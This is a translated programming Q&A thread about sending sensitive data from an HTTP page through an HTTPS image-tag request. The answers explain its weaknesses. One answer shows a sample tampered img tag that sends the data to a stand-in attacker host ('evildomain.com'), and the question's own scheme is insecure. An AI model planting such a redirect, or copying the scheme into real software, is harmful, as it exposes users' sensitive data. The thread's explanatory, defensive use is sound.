2009-10-09 40 views
0

我有一個服務器腳本,我需要從瀏覽器傳遞數據,而無需重新加載頁面(aka ajax)。數據很敏感,所以應該通過https發送。但是頁面在http層上。由於相同的域/協議限制,瀏覽器不允許這樣做。http,https&ajax旁路,也許?

我想通過使用src標籤,如動態創建圖像標籤和調用腳本作弊系統一點:

<img src="https://mydomain.com/mysecurescript/&data=to&pass=to&my=script" /> 

我想知道,如果這確實將適當加密。

回答

3

這個問題是,如果頁面本身只有HTTP,那麼你容易受到中間人的攻擊。攻擊者可以只修改腳本通過HTTP發送的頁面,以便它而是使用:

<img src="http://evildomain.com/evilproxyscript/&data=to&pass=to&my=script" /> 

用戶將沒有最明智的。爲了解決這個問題,你真的需要通過HTTPS服務頁面 - 這同時巧妙地解決了你的其他問題。

(這與登錄表單應該位於HTTPS頁面上的原因完全相同,而不僅僅是表單操作是HTTPS)。

+0

如果您需要SSL加密登錄,您的整個站點應該在https IMO。你已經有了這個設施,你也可以使用它。 – 2009-10-09 01:14:49

+0

除非性能/緩存是一個問題,通常可能是這樣。 – 2009-10-09 02:08:51

2

是和否。

該URL的服務器地址部分顯然未加密,因爲它用於設置連接。

其他所有內容在通過HTTPS連接發送時都被加密。但是任何查看源代碼的人顯然都能看到發佈的數據。

0

它也提到了一些瀏覽器將不會顯示(或將在顯示之前警告用戶)混合模式(http與https)HTML頁面。在某些情況下,這可能不起作用,因爲用戶選擇阻止它。

0

aSSL可能替代圖像技術(其他人提到的缺點是混合模式內容不被某些瀏覽器友好對待)。

這兩種方法都會導致加密發生,並且兩者在中間攻擊中仍然容易受到攻擊。